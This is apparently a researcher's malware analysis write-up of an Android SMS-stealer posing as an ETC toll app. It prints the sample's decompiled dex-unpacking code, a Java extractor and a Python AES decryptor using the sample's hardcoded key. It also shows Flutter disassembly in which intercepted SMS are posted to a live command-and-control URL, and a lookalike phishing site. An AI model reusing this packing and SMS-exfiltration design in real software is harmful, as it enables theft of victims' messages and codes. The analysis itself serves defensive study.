Sample Details
SHA256 Hash: 2c05efa757744cb01346fe6b39e9ef8ea2582d27481a441eb885c5c4dcd2b65b
Package Name: com.dsfdgfd.sdfsdf
Application Name: 遠通電收ETC
Analysis
Starting with AndroidManifest.xml
- The application requests for SMS, Internet, Network State, and Read Phone State permissions.
- This sample has an Application Subclass
com.hwgapkspv.gouhwkh.BQddpmHvTsWgSIexmtrwthat acts as the entry point to the application.
Initially, its determines the path of the apk in the device using
getApplicationInfo().sourceDirand unzips it into the directoryapp_JKnBkiqZbmLnxDv/HIFlFQ.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26ZipFile zipFile = new ZipFile(f);
Enumeration<? extends ZipEntry> entries = zipFile.entries();
while (entries.hasMoreElements()) {
ZipEntry zipEntry = entries.nextElement();
String name = zipEntry.getName();
if (!name.equals("META-INF/CERT.RSA") && !name.equals("META-INF/CERT.SF") && !name.equals("META-INF/MANIFEST.MF") && !zipEntry.isDirectory()) {
File file = new File(dir, name);
if (!file.getParentFile().exists()) {
file.getParentFile().mkdirs();
}
FileOutputStream fos = new FileOutputStream(file);
InputStream is = zipFile.getInputStream(zipEntry);
byte[] buffer = new byte[1024];
while (true) {
int len = is.read(buffer);
if (len == -1) {
break;
} else {
fos.write(buffer, 0, len);
}
}
is.close();
fos.close();
}
}
zipFile.close();It iterates the list of all files present in that directory and checks for classes.dex .
Its path is passed to function oyerm832343dfmdsx0d , where its contents are read and stored in an array
This array is passed to another function odgnstswehaxibqwemcbvd where,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19private void odgnstswehaxibqwemcbvd(byte[] bArr, String path) throws IOException {
int ablen = bArr.length;
byte[] dexlen = new byte[4];
System.arraycopy(bArr, ablen - 4, dexlen, 0, 4);
ByteArrayInputStream bais = new ByteArrayInputStream(dexlen);
DataInputStream in = new DataInputStream(bais);
int readInt = in.readInt();
System.out.println(Integer.toHexString(readInt));
byte[] newdex = new byte[readInt];
System.arraycopy(bArr, (ablen - 4) - readInt, newdex, 0, readInt);
File file = new File(path);
try {
FileOutputStream localFileOutputStream = new FileOutputStream(file);
localFileOutputStream.write(newdex);
localFileOutputStream.close();
} catch (IOException localIOException) {
throw new RuntimeException(localIOException);
}
}It seems in this dex file, a size value is stored in tje last 4 bytes which is getting stored in dexlen array
Checking in a hex editor


The value retrieved is 304592
In
System.arraycopy(bArr, (ablen - 4) - readInt, newdex, 0, readInt);- they are reading bytes from
len(data)-4-304592and writing its contents to another file calledclasses.dex.dex - We know the total size of classes.dex is 387828.
- Hence, the starting offset of the payload is 387828-4-304592 = 83232.
- We could also verify this in a Hex Editor.

- We notice that the data section of classes.dex ends at 0x0001451f which is 83231 in decimal.
- The extracted payload is stored as
classes.dex.dexwhich seems to be encrypted.

- they are reading bytes from
Let’s use their Java implementation to extract the payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
public class dex {
public static byte[] read_classes_dex(File f) {
try {
FileInputStream fis = new FileInputStream(f);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
while (true) {
int n = fis.read(b);
if (n != -1) {
bos.write(b, 0, n);
} else {
fis.close();
bos.close();
byte[] bytes = bos.toByteArray();
return bytes;
}
}
} catch (FileNotFoundException e) {
e.printStackTrace();
return null;
} catch (IOException e2) {
e2.printStackTrace();
return null;
}
}
private static void extract_bytes(byte[] bArr, String path) throws IOException {
int ablen = bArr.length;
byte[] dexlen = new byte[4];
System.arraycopy(bArr, ablen - 4, dexlen, 0, 4);
ByteArrayInputStream bais = new ByteArrayInputStream(dexlen);
DataInputStream in = new DataInputStream(bais);
int readInt = in.readInt();
System.out.println(Integer.toHexString(readInt));
byte[] newdex = new byte[readInt];
System.arraycopy(bArr, (ablen - 4) - readInt, newdex, 0, readInt);
File file = new File(path);
try {
FileOutputStream localFileOutputStream = new FileOutputStream(file);
localFileOutputStream.write(newdex);
localFileOutputStream.close();
} catch (IOException localIOException) {
throw new RuntimeException(localIOException);
}
}
public static void main(String[] args) throws IOException {
File f = new File("classes.dex");
extract_bytes(read_classes_dex(f), "new");
}
}Once extracted, the path is passed to function bhwi8sma09d23ssva , where the contents of classes.dex.dex are passed to native function abcdesCrypt defined in
apksadfsalkweslibrary.Opening the library in Ghidra and fixing the function arguments we could see,

We could notice function calls like
EVP_CIPHER_CTX_init,EVP_aes_128_cbc.Checking in google explained that these functions are defined in libssl.so .
That explains why there is a
libssl.soin lib/arm64-v8a .In
EVP_DecryptInit_ex, we could see 2 arguments namedAES_SECRET_KEYandAES_IV.It seems both values are same as
j2K10uXshMh9UGPSand AES mode used here is CBC.Let’s decode the extracted payload using the above information.
1
2
3
4
5
6
7
8
9
10
11
12from Crypto.Cipher import AES
with open('new','rb') as f:
data = f.read()
key = iv = b'j2K10uXshMh9UGPS'
c = AES.new(key,AES.MODE_CBC,iv)
x = c.decrypt(data)
with open('decrypted','wb') as d:
d.write(x)- On running the script, we are provided with a zip file which on unzipping provides
classes_ogr.dex. - But when looking into classes_ogr.dex , not much implementation is provided, hence lets turn our attention towards
libapp.sowhich contains the main logic.
Flutter Analysis
Let’s get some detailed some information regarding this sample using blutter.
Once it has been analyzed, let’s check
pp.txt, to see all objects used in this application.On searching for any links using the regex (http|https):// led us to an interesting url
https[:]//pmm122.com/.This url has been marked malicious by Fortinet.
On checking for cross-references for this string, it points towards
sms_flutter/api/login.dartand the method is async_op.Package
sms_flutterseems to be the package that implements the malicious activity. It consists of- main.dart
- api/login.dart
- views/webifrview.dart
It seems main.dart is the entrypoint to the application that also has methods like
onBackgroundMessage.In api/login.dart,
1
2
3
4
5
6
7
8
9
10
11
12// 0x29e884: r16 = "https://pmm122.com/"
// 0x29e884: add x16, PP, #8, lsl #12 ; [pp+0x8f58] "https://pmm122.com/"
// 0x29e888: ldr x16, [x16, #0xf58]
// 0x29e88c: r30 = "/addcontent3"
// 0x29e88c: add lr, PP, #8, lsl #12 ; [pp+0x8f60] "/addcontent3"
// 0x29e890: ldr lr, [lr, #0xf60]
// 0x29e894: stp lr, x16, [SP, #-0x10]!
// 0x29e898: r0 = +()
// 0x29e898: bl #0x157310 ; [dart:core] _StringBase::+
// 0x29e89c: add SP, SP, #0x10
// 0x29e8a0: SaveReg r0
// 0x29e8a0: str x0, [SP, #-8]!- We could see that they are preparing the url
https[:]//pmm122.com/addcontent3and are further analysis shows us preparation for strings like content-type , application/x-www-form-urlencoded and post.
1
2// 0x29e984: r0 = post()
// 0x29e984: bl #0x2a90d4 ; [package:http/http.dart] ::post- Using http.post, they could be sending the collected sms to the server
- We could see that they are preparing the url
In views/webifrview.dart,
- there is a function requestPermiss that calls async_op which requests for sms permission by using permission_handler.
- During initialization of this class
Telephony::_instanceis calledrequestPermissis calledTelephony::listenIncomingSmsis called
- Looking into webifrview.dart, we could also say that this webview is loading
https://www.rakten.net/usingloadUrl.
1
2
3
4
5// 0x29e364: r30 = "https://www.rakten.net/"
// 0x29e364: add lr, PP, #8, lsl #12 ; [pp+0x8ea8] "https://www.rakten.net/"
// 0x29e368: ldr lr, [lr, #0xea8]
// 0x29e36c: stp lr, x16, [SP, #-0x10]!
// 0x29e370: r0 = loadUrl()The Telephony implementations are provided by https://telephony.shounakmulay.dev/.
listenIncomingSms→ acts like a pseudo - Broadcast receiver in the sense that this function works whenever we receive a message.Telephony::_instance→ returns a new Telephony object.
We could see how this Telephony Implementation has been used on the Android side as a Broadcast Receiver to process whenever a message is received.
1 | <receiver |
Ending Thoughts
- This was an interesting sample to analyze due to its unique Dex payload encryption.
- This was also my first time analyzing a Flutter malware sample and it was quite an exciting challenge.
- I would also recommend to check the article by Fortinet for more detailed information.